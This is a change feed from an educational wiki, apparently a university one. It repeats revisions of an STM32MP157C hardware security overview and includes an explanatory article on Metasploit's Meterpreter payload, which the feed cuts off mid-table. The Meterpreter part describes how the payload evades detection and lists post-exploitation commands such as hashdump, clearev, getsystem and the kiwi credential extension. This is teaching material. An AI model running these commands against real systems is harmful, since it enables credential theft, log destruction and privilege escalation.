ARM TrustZone technology provides the means to isolate security critical components of a Microcontroller. This is also called Trusted Execution Environment (TEE). TrustZone seperates applications by level of trust into a &#039;&#039;&#039;Normal World&#039;&#039;&#039;, which is non-secure or less secure and the &#039;&#039;&#039;Secure World&#039;&#039;&#039;, in which only trusted applications and secure operating systems are allowed.&lt;br /&gt;
* &#039;&#039;&#039;Normal World&#039;&#039;&#039; runs a general purpose OS (Linux/Android) and non-secure applications&lt;br /&gt;
* &#039;&#039;&#039;Secure World&#039;&#039;&#039; runs a secure OS like OP-TEE OS (Open Portable Trusted Execution Environment) or FreeRTOS and trusted applications&lt;br /&gt;
The STM32MP157C also includes a TrustZone protection controller (ETZPC) to secure internal memory and peripherals and a TrustZone address space controller (TZC) to secure external DDR memory.&lt;br /&gt;
&lt;br /&gt;
[[File:TrustZone_Environment.png|thumb|none|500px|TrustZone Environment]]&lt;br /&gt;
&lt;br /&gt;
=== Hardware Acceleration for Cryptography, Hashing and CRC ===&lt;br /&gt;
The cryptographic and hash processors (CRYPT1, CRYPT2, HASH1 and HASH2) support the following algorithms:&lt;br /&gt;
* DES/TDES (up to 192-bit keys)&lt;br /&gt;
* AES in ECB, CBC, GCM, CCM and CTR modes(up to 256-bit keys), &lt;br /&gt;
* SHA-1, SHA224 and SHA256 (secure hash algorithms)&lt;br /&gt;
* MD5&lt;br /&gt;
* HMAC&lt;br /&gt;
STM32MP157C also has two dedicated units for cyclic redundancy checks (CRC1, CRC2).&lt;br /&gt;
&lt;br /&gt;
=== Secure Boot ===&lt;br /&gt;
STM32MP1 MC can use secure booting which has to be enabled manually and a ECC Public Key has to be supplied. The Boot Chain itself includes two boot loaders which are needed to ensure isolation between Secure World and Normal World for the TrustZone.&lt;br /&gt;
&lt;br /&gt;
[[File:STM32MP157C_Bootchain.png|thumb|none|500px|STM32MP157C Bootchain]]&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;ROM code&#039;&#039;&#039; starts the processor in secure mode. It supports the first stage bootloader authentication and offers authentication services to it. &lt;br /&gt;
# The &#039;&#039;&#039;First stage bootloader&#039;&#039;&#039; (FSBL) is executed from the internal memory and uses TF-A (Trusted Firmware-A). The FSBL loads the second-stage bootloader switches to it.&lt;br /&gt;
# The &#039;&#039;&#039;Second stage bootloader&#039;&#039;&#039; (SSBL) uses U-Boot, the Universal Boot Loader, which is a commonly used open-source bootloader in Embedded Systems. &lt;br /&gt;
# The &#039;&#039;&#039;Co-processor firmware&#039;&#039;&#039; can be started at the SSBL level by U-Boot or later by Linux.&lt;br /&gt;
&lt;br /&gt;
=== Secure Firmware Updates ===&lt;br /&gt;
Secure Firmware Updates use TF-A (Trusted Firmware-A) Firmware Image Packages (FIP)&lt;br /&gt;
* FIP include updates for U-Boot and OP-TEE&lt;br /&gt;
* TF-A itself is never updated during this process&lt;br /&gt;
* Older versions of the FIP are kept in backup&lt;br /&gt;
If the new firmware fails to run after a predefined number of attempts the last working FIP is loaded instead.&lt;br /&gt;
&lt;br /&gt;
=== Additional Security Features ===&lt;br /&gt;
* &#039;&#039;&#039;Tamper Pins&#039;&#039;&#039;&lt;br /&gt;
** Detect tampering with the device (by voltage edge detection)&lt;br /&gt;
** Can trigger emptying of backup registers and generate a RTC Timestamp&lt;br /&gt;
* &#039;&#039;&#039;True (Hardware) Random Number Generators&#039;&#039;&#039; (RNG1, RNG2)&lt;br /&gt;
** RNG1 can be configured to be Secure World-use only&lt;br /&gt;
&lt;br /&gt;
=== Usage of other (secure) Embedded Operating Systems ===&lt;br /&gt;
Official operating system support is restricted to OpenSTLinux and Android for the STM32MP1 family of Microcontrollers. Other operating systems will encounter issues with missing drivers. Cortex-A7 can be used bare-metal with some effort as can be seen [https://github.com/4ms/stm32mp1-baremetal here] but this is only relevant for specialized tasks like real-time audio processing. The Cortex-M4 co-processor can be used to run other operating systems in either engineering mode or by executing them directly from OpenSTLinux via remoteproc framework. Even then most operating systems are severely limited in their capabilities.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! OS&lt;br /&gt;
! Level of Support&lt;br /&gt;
|-&lt;br /&gt;
| RIOT-OS&lt;br /&gt;
| GPIO functionality is supported, one UART and one 32-bit timer are supported as well&lt;br /&gt;
|-&lt;br /&gt;
| Zephyr&lt;br /&gt;
| Similar to RIOT-OS, with more functioning features which include NVIC, I2C and SPI&lt;br /&gt;
|-&lt;br /&gt;
| FreeRTOS&lt;br /&gt;
| No support, but FreeRTOS can be used officially as middleware in the STM32MP1 development stack&lt;br /&gt;
|-&lt;br /&gt;
| Mbed OS&lt;br /&gt;
| No support for the board&lt;br /&gt;
|-&lt;br /&gt;
| Contiki-NG&lt;br /&gt;
| No support for the board&lt;br /&gt;
|-&lt;br /&gt;
| Apache MyNewt&lt;br /&gt;
| No information of the support status could be found&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* https://www.st.com/en/microcontrollers-microprocessors/stm32mp157c.html (accessed on: 2023-02-24)&lt;br /&gt;
* https://wiki.st.com/stm32mpu/wiki/Security_overview (accessed on: 2023-02-24)&lt;br /&gt;
* https://www.trustonic.com/technical-articles/what-is-trustzone/ (accessed on: 2023-02-24)&lt;br /&gt;
* B. Ngabonziza, D. Martin, A. Bailey, H. Cho and S. Martin, “TrustZone Explained: Architectural Features and Use Cases”, **2016 IEEE 2nd International Conference on Collaboration and Internet Computing**, 2016, pp. 445-451&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=STM32MP157C:_Security_Overview&amp;diff=11512</id>
		<title>STM32MP157C: Security Overview</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=STM32MP157C:_Security_Overview&amp;diff=11512"/>
		<updated>2023-02-24T21:55:29Z</updated>

		<summary type="html">&lt;p&gt;BVogler: initial publishing&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
The STM32MP157C Discovery Kit 2 is a Microcontroller designed and produced by ST Microelectronics. The primary purposes of the discovery kit are to serve for development and educational purposes. The regular versions primary areas of application are smart home control, real-time applications, embedded neural networks and edge computing. The STM32MP157C employs ARM TrustZone technology to ensure isolation between applications and divides operating systems and application in secure and non-secure categories. This Microcontroller has Secure Boot and Secure Firmware Upgrade capabilities. Support for operating systems not approved by ST is nearly non-existent with only limited portability for RIOT-OS and Zephyr.&lt;br /&gt;
&lt;br /&gt;
Main features include:&lt;br /&gt;
* Dual Processor Architecture (Cortex-A7 and Cortex-M4)&lt;br /&gt;
* Dedicated GPU&lt;br /&gt;
* OpenSTLinux Distribution pre-installed&lt;br /&gt;
* Android operating system also available&lt;br /&gt;
* 800x480 px Touch Display&lt;br /&gt;
* Employs ARM TrustZone technology for security&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Technical Data ==&lt;br /&gt;
Below is an abbreviated overview of the technical data for the STM32MP157C:&lt;br /&gt;
* Processor&lt;br /&gt;
** ARM Cortex-A7 32-bit Dual-Core @ 640 MHz&lt;br /&gt;
** ARM Cortex-M4 32-bit @ 209 MHz&lt;br /&gt;
* Memory&lt;br /&gt;
** External DDR memory up to 1 GB possible&lt;br /&gt;
** Internal memory: 708 KB SRAM, 256 KB AXI SYSRAM, 384 KB AHB SRAM and 64 KB AHB SRAM in backup domain&lt;br /&gt;
* Reset/Power Management&lt;br /&gt;
** 1.71 V to 3.6 V I/Os supply (5 V-tolerant I/Os)&lt;br /&gt;
** Internal temperature sensors&lt;br /&gt;
** Low-power modes (sleep, stop and standby)&lt;br /&gt;
** DDR memory retention in standby&lt;br /&gt;
** Low power consumption (down to 2 microampere in standby)&lt;br /&gt;
* Clock management (internal and external oscillators)&lt;br /&gt;
* General Purpose Input/Output (GPIO)&lt;br /&gt;
** 176 I/O ports with interrupt capability possible&lt;br /&gt;
** 8 secure I/Os, 3 tamper pins, 1 active tamper pin&lt;br /&gt;
* 3 DMA controllers&lt;br /&gt;
* 37 communication peripherals (6x I2C, 8x UART/USART, 6x SPI, 4x SAI, HDMI, 3x SDMMC, 4x USB-A, Gigabit Ethernet, camera interface)&lt;br /&gt;
* 6 analog peripherals (2x ADC, 2x DAC, temperature sensor, digital filter for sigma delta modulator)&lt;br /&gt;
* 29 timers and 3 watchdogs possible&lt;br /&gt;
* Security/Safety&lt;br /&gt;
** Secure Boot, TrustZone peripherals and active tamper detection&lt;br /&gt;
** Cortex-M4 resource isolation&lt;br /&gt;
* Hardware acceleration (AES, SHA, HMAC, CRC)&lt;br /&gt;
&lt;br /&gt;
[[File:Block_Diagram_STM32MP157C.png|thumb|none|500px|Block Diagram STM32MP157C]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Areas of Application ==&lt;br /&gt;
* &#039;&#039;&#039;Smart Home Control&#039;&#039;&#039;: Access point and remote control for various smart home appliances including real-time applications with audio/video streams, like video doorbells or alarm systems.&lt;br /&gt;
* &#039;&#039;&#039;Embedded Neural Networks&#039;&#039;&#039;: The Cortex-A7 main processor has native support for TensorFlow Lite on Linux systems to support Embedded Neural Networks. The STM32Cube.AI is pre-configured on the co-processor Cortex-M4 and can handle machine learning tasks in an Embedded System.&lt;br /&gt;
* &#039;&#039;&#039;Edge Computing&#039;&#039;&#039;: STM32MP157C has better processing power than most Microcontrollers used in Embedded Systems and is comparable in power to a Raspberry Pi (Generation 2). This is the reason why they can be used in edge computing scenarios where data must be processed near the Embedded Systems that collect the data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Security Features ==&lt;br /&gt;
=== ARM TrustZone ===&lt;br /&gt;
ARM TrustZone technology provides the means to isolate security critical components of a Microcontroller. This is also called Trusted Execution Environment (TEE). TrustZone seperates applications by level of trust into a &#039;&#039;&#039;Normal World&#039;&#039;&#039;, which is non-secure or less secure and the &#039;&#039;&#039;Secure World&#039;&#039;&#039;, in which only trusted applications and secure operating systems are allowed.&lt;br /&gt;
* &#039;&#039;&#039;Normal World&#039;&#039;&#039; runs a general purpose OS (Linux/Android) and non-secure applications&lt;br /&gt;
* &#039;&#039;&#039;Secure World&#039;&#039;&#039; runs a secure OS like OP-TEE OS (Open Portable Trusted Execution Environment) or FreeRTOS and trusted applications&lt;br /&gt;
The STM32MP157C also includes a TrustZone protection controller (ETZPC) to secure internal memory and peripherals and a TrustZone address space controller (TZC) to secure external DDR memory.&lt;br /&gt;
&lt;br /&gt;
[[File:TrustZone_Environment.png|thumb|none|500px|TrustZone Environment]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Hardware Acceleration for Cryptography, Hashing and CRC ===&lt;br /&gt;
The cryptographic and hash processors (CRYPT1, CRYPT2, HASH1 and HASH2) support the following algorithms:&lt;br /&gt;
* DES/TDES (up to 192-bit keys)&lt;br /&gt;
* AES in ECB, CBC, GCM, CCM and CTR modes(up to 256-bit keys), &lt;br /&gt;
* SHA-1, SHA224 and SHA256 (secure hash algorithms)&lt;br /&gt;
* MD5&lt;br /&gt;
* HMAC&lt;br /&gt;
STM32MP157C also has two dedicated units for cyclic redundancy checks (CRC1, CRC2).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secure Boot ===&lt;br /&gt;
STM32MP1 MC can use secure booting which has to be enabled manually and a ECC Public Key has to be supplied. The Boot Chain itself includes two boot loaders which are needed to ensure isolation between Secure World and Normal World for the TrustZone.&lt;br /&gt;
&lt;br /&gt;
[[File:STM32MP157C_Bootchain.png|thumb|none|500px|STM32MP157C Bootchain]]&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;ROM code&#039;&#039;&#039; starts the processor in secure mode. It supports the first stage bootloader authentication and offers authentication services to it. &lt;br /&gt;
# The &#039;&#039;&#039;First stage bootloader&#039;&#039;&#039; (FSBL) is executed from the internal memory and uses TF-A (Trusted Firmware-A). The FSBL loads the second-stage bootloader switches to it.&lt;br /&gt;
# The &#039;&#039;&#039;Second stage bootloader&#039;&#039;&#039; (SSBL) uses U-Boot, the Universal Boot Loader, which is a commonly used open-source bootloader in Embedded Systems. &lt;br /&gt;
# The &#039;&#039;&#039;Co-processor firmware&#039;&#039;&#039; can be started at the SSBL level by U-Boot or later by Linux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secure Firmware Updates ===&lt;br /&gt;
Secure Firmware Updates use TF-A (Trusted Firmware-A) Firmware Image Packages (FIP)&lt;br /&gt;
* FIP include updates for U-Boot and OP-TEE&lt;br /&gt;
* TF-A itself is never updated during this process&lt;br /&gt;
* Older versions of the FIP are kept in backup&lt;br /&gt;
If the new firmware fails to run after a predefined number of attempts the last working FIP is loaded instead.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Additional Security Features ===&lt;br /&gt;
* &#039;&#039;&#039;Tamper Pins&#039;&#039;&#039;&lt;br /&gt;
** Detect tampering with the device (by voltage edge detection)&lt;br /&gt;
** Can trigger emptying of backup registers and generate a RTC Timestamp&lt;br /&gt;
* &#039;&#039;&#039;True (Hardware) Random Number Generators&#039;&#039;&#039; (RNG1, RNG2)&lt;br /&gt;
** RNG1 can be configured to be Secure World-use only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Usage of other (secure) Embedded Operating Systems ===&lt;br /&gt;
Official operating system support is restricted to OpenSTLinux and Android for the STM32MP1 family of Microcontrollers. Other operating systems will encounter issues with missing drivers. Cortex-A7 can be used bare-metal with some effort as can be seen [https://github.com/4ms/stm32mp1-baremetal here] but this is only relevant for specialized tasks like real-time audio processing. The Cortex-M4 co-processor can be used to run other operating systems in either engineering mode or by executing them directly from OpenSTLinux via remoteproc framework. Even then most operating systems are severely limited in their capabilities.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! OS&lt;br /&gt;
! Level of Support&lt;br /&gt;
|-&lt;br /&gt;
| RIOT-OS&lt;br /&gt;
| GPIO functionality is supported, one UART and one 32-bit timer are supported as well&lt;br /&gt;
|-&lt;br /&gt;
| Zephyr&lt;br /&gt;
| Similar to RIOT-OS, with more functioning features which include NVIC, I2C and SPI&lt;br /&gt;
|-&lt;br /&gt;
| FreeRTOS&lt;br /&gt;
| No support, but FreeRTOS can be used officially as middleware in the STM32MP1 development stack&lt;br /&gt;
|-&lt;br /&gt;
| Mbed OS&lt;br /&gt;
| No support for the board&lt;br /&gt;
|-&lt;br /&gt;
| Contiki-NG&lt;br /&gt;
| No support for the board&lt;br /&gt;
|-&lt;br /&gt;
| Apache MyNewt&lt;br /&gt;
| No information of the support status could be found&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* https://www.st.com/en/microcontrollers-microprocessors/stm32mp157c.html (accessed on: 2023-02-24)&lt;br /&gt;
* https://wiki.st.com/stm32mpu/wiki/Security_overview (accessed on: 2023-02-24)&lt;br /&gt;
* https://www.trustonic.com/technical-articles/what-is-trustzone/ (accessed on: 2023-02-24)&lt;br /&gt;
* B. Ngabonziza, D. Martin, A. Bailey, H. Cho and S. Martin, “TrustZone Explained: Architectural Features and Use Cases”, **2016 IEEE 2nd International Conference on Collaboration and Internet Computing**, 2016, pp. 445-451&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TrustZone_Environment.png&amp;diff=11511</id>
		<title>File:TrustZone Environment.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TrustZone_Environment.png&amp;diff=11511"/>
		<updated>2023-02-24T21:42:40Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:STM32MP157C_Bootchain.png&amp;diff=11510</id>
		<title>File:STM32MP157C Bootchain.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:STM32MP157C_Bootchain.png&amp;diff=11510"/>
		<updated>2023-02-24T21:42:32Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Block_Diagram_STM32MP157C.png&amp;diff=11509</id>
		<title>File:Block Diagram STM32MP157C.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Block_Diagram_STM32MP157C.png&amp;diff=11509"/>
		<updated>2023-02-24T21:42:10Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10565</id>
		<title>Meterpreter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10565"/>
		<updated>2023-01-03T14:57:18Z</updated>

		<summary type="html">&lt;p&gt;BVogler: figure fixed&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Meterpreter, short for Meta-Interpreter, is a dynamically extendable attack payload included in the Metasploit penetration testing Framework. The payload was developed by Matt Miller under the hacker moniker of Skape and is used in the post-exploitation phase after gaining access to the targeted system. Meterpreter provides a powerful interactive command line interface (CLI) and avoids the risk of being exposed. Running it does not alert intrusion detection systems, like starting a standard shell process will, because it is strictly executed from working memory. Meterpreter does not need a separate process to execute because it is injected into a currently running process. This also means it is executed from memory only, which makes it even harder to detect for Anti-Virus software. Meterpreter provides a variety of commands, additional modules and scripts available to aid in further exploitation. Because it is integrated into the Metasploit Framework it can use its post-exploitation modules as well.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Basics ==&lt;br /&gt;
Meterpreter is supposed to give the attacker access to a command interpreter on the target machine that offers powerful post-exploitation tools and is also hard to detect with forensic tools. For this Meterpreter was designed with the three goals of being stealthy, powerful and extensible.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Design Goals ===&lt;br /&gt;
==== Stealthy ====&lt;br /&gt;
* Meterpreter is designed to operate in working memory and never write to the physical disk. &lt;br /&gt;
* Meterpreter operates inside running processes and can be migrated to other processes.&lt;br /&gt;
* Meterpreter uses encrypted communication.&lt;br /&gt;
&lt;br /&gt;
==== Powerful ==== &lt;br /&gt;
* Meterpreter utilizes a channelized communication system.&lt;br /&gt;
* The TLV (Type-Length-Value) protocol has few limitations.&lt;br /&gt;
&lt;br /&gt;
==== Extensible ====&lt;br /&gt;
* Meterpreter can be augmented at runtime. Extensions, modules and scripts can be loaded over the network connection.&lt;br /&gt;
* The Meterpreter session does not have to be rebuilt every time new features are added.&lt;br /&gt;
&lt;br /&gt;
=== How does Meterpreter work? ===&lt;br /&gt;
Prerequisite: The target system is already exploited and remote access is established. &lt;br /&gt;
# Meterpreter payload, also called the initial stager, is sent to the target system.&lt;br /&gt;
# Compromised system executes the initial stager, usually bind_tcp, reverse_tcp, etc.&lt;br /&gt;
# The stager loads the needed libraries, the Meterpreter core initializes and established a TLS connection to the attacking system.&lt;br /&gt;
# Meterpreter sends a GET request which Metasploit receives and then configures the client.&lt;br /&gt;
# Meterpreter loads the default extensions (&#039;&#039;&#039;stdapi&#039;&#039;&#039;, &#039;&#039;&#039;priv&#039;&#039;&#039;). The extensions are loaded over the TLS connection using a TLV (Type-Length-Value) protocol.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Features == &lt;br /&gt;
The Meterpreter CLI is similar to standard shells (sh, zsh, etc.) and provides system, file system and networking commands identical to them (cd, cat, rm, pwd, etc.). Meterpreter also provides additional basic commands, some of which can be seen in the table below, additional commands provided by the default extensions and more commands can be added by loading other extensions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
A selection of commonly used Meterpreter commands can be found in the table below.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Command&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| background&lt;br /&gt;
| Moves the current Meterpreter session to the background giving the user access to the Metasploit command line.&lt;br /&gt;
|-&lt;br /&gt;
| sessions -i &#039;&#039;ID&#039;&#039;&lt;br /&gt;
| Reactivates the specified session. Using the command without a switch displays all active sessions.&lt;br /&gt;
|-&lt;br /&gt;
| clearev&lt;br /&gt;
| Deletes all application, system and security logs on the victim machine. Only works for Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| execute&lt;br /&gt;
| Executes a command on the remote machine specified by the &#039;-f&#039; switch. The executed command can be supplied with arguments by using &#039;-a&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| getsystem&lt;br /&gt;
| This attempts to elevate the current Meterpreter session to system administrator level of authorization.&lt;br /&gt;
|-&lt;br /&gt;
| getuid&lt;br /&gt;
| Displays the user identification of the user the current Meterpreter session is running as.&lt;br /&gt;
|-&lt;br /&gt;
| hashdump&lt;br /&gt;
| Prints all available usernames and their password hashes, making them available for further manipulation like password cracking using additional software or rainbow tables.&lt;br /&gt;
|-&lt;br /&gt;
| help&lt;br /&gt;
| Shows the Meterpreter help menu consisting of a comprehensive list of commands. This menu expands if more extensions are loaded.&lt;br /&gt;
|-&lt;br /&gt;
| ipconfig&lt;br /&gt;
| Prints the network configuration of the target machine in Windows display style.&lt;br /&gt;
|-&lt;br /&gt;
| migrate&lt;br /&gt;
| Migrates the Meterpreter session to the process given as a parameter. This allows further exploitation of the system from within the new process. This should be done to avoid getting thrown out by the user closing the process that served as entry point.&lt;br /&gt;
|-&lt;br /&gt;
| ps&lt;br /&gt;
| Prints a non-interactive list of the currently running processes on the target machine including process IDs, usernames of the process owners and the path to the executables.&lt;br /&gt;
|-&lt;br /&gt;
| search&lt;br /&gt;
|  Searches the system for a file specified by the -f switch. The provided filename may contain wildcards.&lt;br /&gt;
|-&lt;br /&gt;
| sysinfo&lt;br /&gt;
| Prints the target machines name, operating system (including build and service pack if applicable), the architecture of the operating system, the system language, the domain name and the number of currently logged in users.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Extensions ===&lt;br /&gt;
Meterpreter extensions are loaded by using the &#039;&#039;&#039;load&#039;&#039;&#039;-command. Two Extensions are loaded by default:&lt;br /&gt;
* &#039;&#039;&#039;priv&#039;&#039;&#039;: This extension is used for privilege escalation&lt;br /&gt;
* &#039;&#039;&#039;stdapi&#039;&#039;&#039;: This extension supplies core Meterpreter commands like &#039;&#039;getuid&#039;&#039;&lt;br /&gt;
Other frequently used extensions include:&lt;br /&gt;
* &#039;&#039;&#039;kiwi&#039;&#039;&#039;: This extension is used to obtain user credentials and authentication tokens which are retrieved from system memory. This makes it possible for passwords to be displayed in cleartext. In the past the extension was named &#039;&#039;&#039;mimikatz&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039; python &#039;&#039;&#039;: This extension allows the execution of python scripts on the target machine.&lt;br /&gt;
* &#039;&#039;&#039; powershell &#039;&#039;&#039;: This extension allows the execution of powershell scripts on the target machine.&lt;br /&gt;
&lt;br /&gt;
=== Scripts &amp;amp; Modules ===&lt;br /&gt;
Meterpreter includes pre-made scripts for various purposes which are run by using the &#039;&#039;&#039;run&#039;&#039;&#039;-command. The payload includes scripts that can persist Meterpreter sessions, unlock the targets screen or disable Anti-Virus software. Part of the scripts seen in the figure below are now considered deprecated. This is because they are now integrated into the Metasploit Framework as post-exploitation modules. The Meterpreter session can be put into the background to run these modules.&lt;br /&gt;
[[File:Meterpreter List Scripts.png|thumb|none|750px|Meterpreter Scripts]]&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
* D. Kennedy, J. O’Gorman, D. Kearns, and M. Aharoni. Metasploit: The Penetration Tester’s Guide. No Starch Press Series. No Starch Press, 2011.&lt;br /&gt;
* M. Miller. Meterpreter specifications. http://www.hick.org/code/skape/papers/meterpreter.pdf, 2004. Accessed: 2022-09-14.&lt;br /&gt;
* Metasploit Unleashed free ethical hacking course. https://www.offensive-security.com/metasploit-unleashed/. Accessed: 2022-11-05.&lt;br /&gt;
* Michael Messner. Hacking mit Metasploit. dpunkt.verlag, 3rd edition, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_List_Scripts.png&amp;diff=10564</id>
		<title>File:Meterpreter List Scripts.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_List_Scripts.png&amp;diff=10564"/>
		<updated>2023-01-03T14:56:35Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_Scripts.png&amp;diff=10563</id>
		<title>File:Meterpreter Scripts.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Meterpreter_Scripts.png&amp;diff=10563"/>
		<updated>2023-01-03T14:54:25Z</updated>

		<summary type="html">&lt;p&gt;BVogler: BVogler uploaded a new version of File:Meterpreter Scripts.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10562</id>
		<title>Meterpreter</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Meterpreter&amp;diff=10562"/>
		<updated>2023-01-03T14:49:40Z</updated>

		<summary type="html">&lt;p&gt;BVogler: fixed formatting&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Meterpreter, short for Meta-Interpreter, is a dynamically extendable attack payload included in the Metasploit penetration testing Framework. The payload was developed by Matt Miller under the hacker moniker of Skape and is used in the post-exploitation phase after gaining access to the targeted system. Meterpreter provides a powerful interactive command line interface (CLI) and avoids the risk of being exposed. Running it does not alert intrusion detection systems, like starting a standard shell process will, because it is strictly executed from working memory. Meterpreter does not need a separate process to execute because it is injected into a currently running process. This also means it is executed from memory only, which makes it even harder to detect for Anti-Virus software. Meterpreter provides a variety of commands, additional modules and scripts available to aid in further exploitation. Because it is integrated into the Metasploit Framework it can use its post-exploitation modules as well.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Basics ==&lt;br /&gt;
Meterpreter is supposed to give the attacker access to a command interpreter on the target machine that offers powerful post-exploitation tools and is also hard to detect with forensic tools. For this Meterpreter was designed with the three goals of being stealthy, powerful and extensible.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Design Goals ===&lt;br /&gt;
==== Stealthy ====&lt;br /&gt;
* Meterpreter is designed to operate in working memory and never write to the physical disk. &lt;br /&gt;
* Meterpreter operates inside running processes and can be migrated to other processes.&lt;br /&gt;
* Meterpreter uses encrypted communication.&lt;br /&gt;
&lt;br /&gt;
==== Powerful ==== &lt;br /&gt;
* Meterpreter utilizes a channelized communication system.&lt;br /&gt;
* The TLV (Type-Length-Value) protocol has few limitations.&lt;br /&gt;
&lt;br /&gt;
==== Extensible ====&lt;br /&gt;
* Meterpreter can be augmented at runtime. Extensions, modules and scripts can be loaded over the network connection.&lt;br /&gt;
* The Meterpreter session does not have to be rebuilt every time new features are added.&lt;br /&gt;
&lt;br /&gt;
=== How does Meterpreter work? ===&lt;br /&gt;
Prerequisite: The target system is already exploited and remote access is established. &lt;br /&gt;
# Meterpreter payload, also called the initial stager, is sent to the target system.&lt;br /&gt;
# Compromised system executes the initial stager, usually bind_tcp, reverse_tcp, etc.&lt;br /&gt;
# The stager loads the needed libraries, the Meterpreter core initializes and established a TLS connection to the attacking system.&lt;br /&gt;
# Meterpreter sends a GET request which Metasploit receives and then configures the client.&lt;br /&gt;
# Meterpreter loads the default extensions (&#039;&#039;&#039;stdapi&#039;&#039;&#039;, &#039;&#039;&#039;priv&#039;&#039;&#039;). The extensions are loaded over the TLS connection using a TLV (Type-Length-Value) protocol.&lt;br /&gt;
&lt;br /&gt;
== Meterpreter Features == &lt;br /&gt;
The Meterpreter CLI is similar to standard shells (sh, zsh, etc.) and provides system, file system and networking commands identical to them (cd, cat, rm, pwd, etc.). Meterpreter also provides additional basic commands, some of which can be seen in the table below, additional commands provided by the default extensions and more commands can be added by loading other extensions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
A selection of commonly used Meterpreter commands can be found in the table below.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Command&lt;br /&gt;
! Description&lt;br /&gt;
|-&lt;br /&gt;
| background&lt;br /&gt;
| Moves the current Meterpreter session to the background giving the user access to the Metasploit command line.&lt;br /&gt;
|-&lt;br /&gt;
| sessions -i &#039;&#039;ID&#039;&#039;&lt;br /&gt;
| Reactivates the specified session. Using the command without a switch displays all active sessions.&lt;br /&gt;
|-&lt;br /&gt;
